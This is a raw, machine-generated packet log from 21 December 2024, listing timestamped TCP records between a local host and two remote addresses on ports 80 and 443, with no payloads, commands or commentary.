Dec 21, 2024 18:16:37.847409010 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.847460032 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.875650883 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:37.875732899 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:37.887105942 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:37.887175083 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:37.977747917 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.977798939 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.977832079 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.977873087 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.978286982 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.978476048 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.978528023 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.978661060 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.979197979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.979249954 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.979734898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.979784012 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.980438948 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.980490923 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.980535030 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.980583906 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.981888056 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.981937885 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.981940985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.981977940 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.982646942 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.982708931 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.982763052 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.982826948 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.983962059 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.983999014 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.984025002 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.984049082 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.985069036 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.985138893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.985219002 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.985270977 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.986275911 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.986332893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.986399889 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.986454010 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.987400055 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.987463951 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.987500906 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.987577915 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.988534927 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.988591909 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.988662004 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.988713026 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.989774942 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.989829063 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.989896059 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.989962101 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.991008043 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.991130114 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.991193056 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.992060900 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.992137909 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.992192030 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.992235899 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.993350983 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.993407965 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.993475914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.993525028 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.994405985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.994527102 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.994540930 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.994592905 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.995661974 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.995744944 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.995800018 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.996757984 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:37.996850014 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:37.996871948 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:37.996912956 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:37.997221947 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.997267008 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.997479916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.997605085 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.998477936 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.998536110 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.998543978 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.998589993 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.999504089 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:37.999515057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.999557972 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:37.999578953 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:37.999695063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:37.999741077 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.000570059 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.000716925 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.000726938 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.000790119 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.001663923 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.001761913 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.001832962 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.002727032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.002794027 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.002808094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.002854109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.003869057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.003925085 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.004013062 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.004062891 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.005065918 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.005121946 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.005228043 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.005326033 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.006269932 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.006323099 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.006381989 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.006434917 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.007436991 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.007493019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.007539034 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.007586002 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.008552074 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.008605957 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.008690119 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.008783102 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.009732962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.009784937 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.009850979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.009903908 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.010938883 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.010987997 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.011079073 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.011218071 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.012103081 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.012161016 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.012217999 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.012265921 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.013421059 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.013477087 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.013516903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.013559103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.014580011 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.014615059 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.014631987 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.014662027 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.015646935 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.015705109 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.015770912 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.015829086 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.016823053 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.016880035 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.016936064 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.016985893 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.017996073 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.018060923 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.018222094 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.018275023 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.019287109 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.019346952 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.019423008 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.019479036 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.020390987 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.020440102 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.020518064 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.020561934 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.021673918 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.021735907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.021738052 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.021780968 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.022758007 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.022811890 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.022847891 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.022888899 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.024009943 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.024046898 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.024085999 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.024101973 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.025073051 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.025142908 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.025150061 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.025193930 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.026272058 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.026329041 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.026393890 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.026442051 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.027410030 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.027462959 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.027631044 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.027681112 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.028676987 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.028729916 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.028733969 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.028774977 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.029850960 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.029905081 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.029916048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.029962063 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.030981064 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.031083107 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.031121016 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.031167030 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.032145023 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.032201052 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.032294035 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.032344103 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.033335924 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.033386946 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.033507109 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.033566952 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.034584045 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.034652948 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.034694910 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.034749985 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.035742998 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.035810947 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.035844088 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.035887003 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.036885023 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.036941051 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.036987066 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.037035942 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.038064003 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.038121939 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.038204908 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.038254023 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.039529085 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.039575100 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.067291021 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.067382097 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.071552038 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.071619034 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.071638107 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.071691990 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.079895973 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.080043077 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.080059052 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.080106974 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.086009979 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.086057901 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.093837023 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.093894005 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.094966888 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.095088959 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.102904081 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.102951050 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.106625080 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.106676102 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.111941099 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.112000942 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.120090008 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.120135069 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.124046087 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.124119043 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.133610010 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.133671045 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.137522936 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.137581110 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.147058964 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.147109032 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.150868893 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.150932074 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.160728931 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.160799980 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.164688110 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.164746046 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.170237064 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.170279980 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.170305014 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.170321941 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.170743942 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.170795918 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.170845032 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.170896053 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.171885967 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.172034979 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.172087908 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.173137903 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.173173904 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.173224926 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.174242020 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.174298048 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.174299955 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.174339056 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.174463987 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.174519062 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.175373077 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.175429106 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.175648928 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.175704002 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.176552057 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.176661015 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.176712036 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.177778959 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.177906036 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.177957058 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.178077936 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.178127050 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.178950071 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.179011106 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.179068089 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.179111004 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.180268049 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.180322886 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.180378914 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.180466890 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.181294918 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.181329012 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.181356907 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.181368113 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.182468891 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.182528973 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.182590961 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.182820082 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.183624029 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.183784962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.183840990 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.184946060 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.185009003 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.185146093 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.185210943 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.185961962 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.186028004 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.186212063 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.186269999 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.187139988 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.187199116 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.187278986 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.187488079 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.187892914 CET	443	49834	172.217.17.65	192.168.2.4
Dec 21, 2024 18:16:38.188613892 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.188673019 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.188674927 CET	49834	443	192.168.2.4	172.217.17.65
Dec 21, 2024 18:16:38.188736916 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.189517975 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.189713001 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.189769030 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.189896107 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.189971924 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.190999985 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.191061020 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.191102028 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.191152096 CET	49826	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:38.192172050 CET	80	49826	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:38.192234039 CET	49826	80	192.168.2.4	31.41.244.11
